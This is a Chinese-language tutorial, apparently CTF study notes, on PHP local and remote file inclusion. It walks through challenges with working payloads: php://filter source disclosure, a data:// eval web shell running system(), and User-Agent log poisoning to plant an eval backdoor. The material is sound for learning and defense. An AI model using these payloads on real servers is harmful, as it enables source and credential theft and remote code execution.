文件包含漏洞

文件中包含了php脚本,里面含有漏洞,就叫文件包含漏洞

概念

  1. php文件包含漏洞产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了意想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入,最常见的就是本地文件包含漏洞
  2. 开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
  3. 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
  4. 在PHP web application中文件包含漏洞居多,jsp,asp等程序中很少,这就是语言设计的弊端

类型

  1. 本地文件包含漏洞:网站服务器本身存在恶意文件,然后利用本地文件包含使用
  2. 远程文件包含漏洞:远程文件包含就是调用其它网站的恶意文件进行打开

文件包含函数

  1. php:include(),include_once(),fopen(),require(),require_once()
  2. jsp/servelt:ava.io,file(),java.io,filereader()
  3. asp:include file;virtual

主流文件包含php一些函数的含义

  1. include():执行到include()才会包含文件,找不到文件只会产生警告,还会接着运行后面的脚本
  2. require():只要程序一直运行就会包含文件,如果找不到包含文件则会产生致命错误,并且脚本运行终止
  3. include_once()和require_once():如果文件包含被执行了,就不会执行第二次

注意

  1. 文件包含是也是一种执行方式,即include和require函数的执行都会执行内部的参数,将内部的参数当作php源码去执行

本地文件包含:LFI,local file inclusion

  1. 本地文件包含漏洞指的是能打开并且包含本地文件的漏洞,大部分情况下遇到的文件包含漏洞都是LFI

  2. 首先创建两个文件,1.txt 和 11.php 如下:


  1. 创建完后并对 11.php 进行访问,并且传入参数:

  2. 看吧,成功了,这就是简单的本地文件包含,但如果将1.txt 内的内容换成一句换木马,再用菜刀连接一下,那是不是就可以获取shell了,这里小编就不演示了,留给你们慢慢琢磨。。。。。。

远程文件包含,RFI,remote file inclusion

  1. 远程文件包含需要对php.ini进行一些配置
  2. 即allow_url_fopen和allow_url_include要为ON,即和伪协议的使用条件相同
  3. 设置成功后记得要保存并且重新启动一下
  4. 好了现在可以开始演示远程包含了,其实和文件包含相差无几,只是把包含的换成外网链接一下就好了
  5. 文件包含原理也就是这么个样子,虽然操作简单,但其实是一个很危险的一个漏洞,除了可以利用他拿到shell

例题

文件包含漏洞记得使用PHP伪协议

  1. 什么时候使用php伪协议:文件包含

csdn中的一道例题

  1. http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI本地文件上传漏洞)
  2. 但是没有地方可以upload你的webshell后门代码
  3. LFI只能读取到非php文件的源码,因为php文件会被直接执行,没有办法查看到源码(但是如果可以以base64加密,则可以不去读取php的源码)
  4. 如果你能读取到config.php之类的文件,或许可以拿到数据库账号远程登录数据库入侵进去
  5. 现在的问题是:LFI如何读取到php文件的源码
  6. 演示:如果正常用LFI去读/sqli/db.php文件,是无法读取到它的源码的,只会被当作php文件被执行
    http://vulnerable/fileincl/example1.php?page=../sqli/db.php
  7. 使用php://filter/read=convert.base64-encode/resource=可以将指定php文件的源码以base64方式编码并被显示出来
  8. 因为被base64编码过了,所以可以不被执行的情况下显示源码,只不过是被base64编码过的,解码即可
    http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php

web78

  1. 没有任何过滤,可以直接使用伪代码去看看flag.php
  2. 使用php://filter伪代码

web79

  1. 发现对php有过滤,使用str_replace进行替换
  2. 使用php://filter伪协议查看flag.php的代码发现flag.php被替换为flag.???,被过滤并且不能查看到源代码
    ?file=php://filter/convert.base64-encode/resource=flag.php
  3. 伪协议又不止一个,可以使用data://text/plain,伪协议绕过
  4. 因为过滤了’php’字样,所以使用短标签
    ?file=data://text/plain,<?= eval($_POST[1]);?>
  5. 使用data://text/plain伪协议的同时,post值
    1=system("tac flag.php");
  6. 即可查看到flag
  7. 这个题的思路和逃逸很类似,将变量1逃逸出去,和命令执行中?c=include%0a$_GET[1]?>&1=system(‘ls’);一样

web80

日志文件绕过:应用于没有上传功能的文件包含漏洞下获取权限

  1. nginx日志文件路径:?file=/var/log/nginx/access.log
  2. apache2日志文件路径:?file=/var/log/apache2/access.log
  3. 直接访问会显示User-Agent的信息
  4. 写入php文件,进行getshell
    User-Agent:
  5. 注意:访问日志文件只会显示前几次的访问情况,要查看当前访问情况需要再一次访问(访问的这一次还没有写入日志中,日志中只有此次访问之前的日志信息)

  1. 对php和data有过滤,就不能使用php://filter和data://text/plain,伪协议了
  2. 注意是先传User-Agent,到index.php中
  3. 再去访问 ?file=/var/log/nginx/access.log 看看是否包含成功
    User-Agent:<?php phpinfo();?>
  4. 因为是加的http header,所以原题对传入的file值不会产生过滤
  5. User-Agent中写post传参,传入一个变量,将变量的值设为木马,和逃逸很相似
    User-Agent:<?php eval($_POST[1]);?>
    1=system("ls ./");

web81

  1. 和上一个题一样,先把User-Agent写进根目录,User-Agent中的内容是php攻击payload
  2. 拼接get传参的file变量,file=/var/log/nginx/access.log
  3. 同时post传入攻击payload,和第一步配合

NewStarCTF web2 includeOne

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!
  1. 这个题的考点就是mt_rand()函数

  2. 这题是伪随机数的种子爆破,跟枯燥的抽奖那题类似,就是mt_rand()生成随机整数的时,会先进行种子的播种,当种子一样,接下来的数值根据次数也是可预测的,题目过滤了base,并且要有NewStar,可以使用rot进行文件包含。

  3. mt_rand()函数每使用一次,就会对当前的seed进行播种,然后伪随机数加密,但是一定要看好是给出的结果是第几次加密得到的

mt_rand()函数实例

  1. img

  2. img

  3. 爆出了种子为1145146,接下来使用相同的种子进行两次mt_rand()即可得到相同的数值,得到1202031004

  4. img

  5. img

  6. 最后进行rot13解密即可

    s = "synt{sor00r4p-63rq-47q0-o8rr-610s58s76n4n}"
    
    i = 13
    result = ""
    for c in s:
        oc = ord(c)
        if 65 <= oc <= 90:
            result += chr(((oc + i) - 65) % 26 + 65)
        elif 97 <= oc <= 122:
            result += chr(((oc + i) - 97) % 26 + 97)
        else:
            result += c
    print(result)
    //这时我贴的脚本,我建议使用cyberchef和CTF在线工具等

rot13

  1. rot13是一种字符处理方式,字符右移13位
  2. 当preg_match过滤了base时,可以在使用php://filter伪协议的同时使用rot13,而不是使用base64
  3. filter//read 之间,我们可以添加任意的字符,当preg_match需要的时候
  4. 查看源代码,我们可以看到rot13编码得到的flag
  5. 使用凯撒加密解码的方式,我们可以得到flag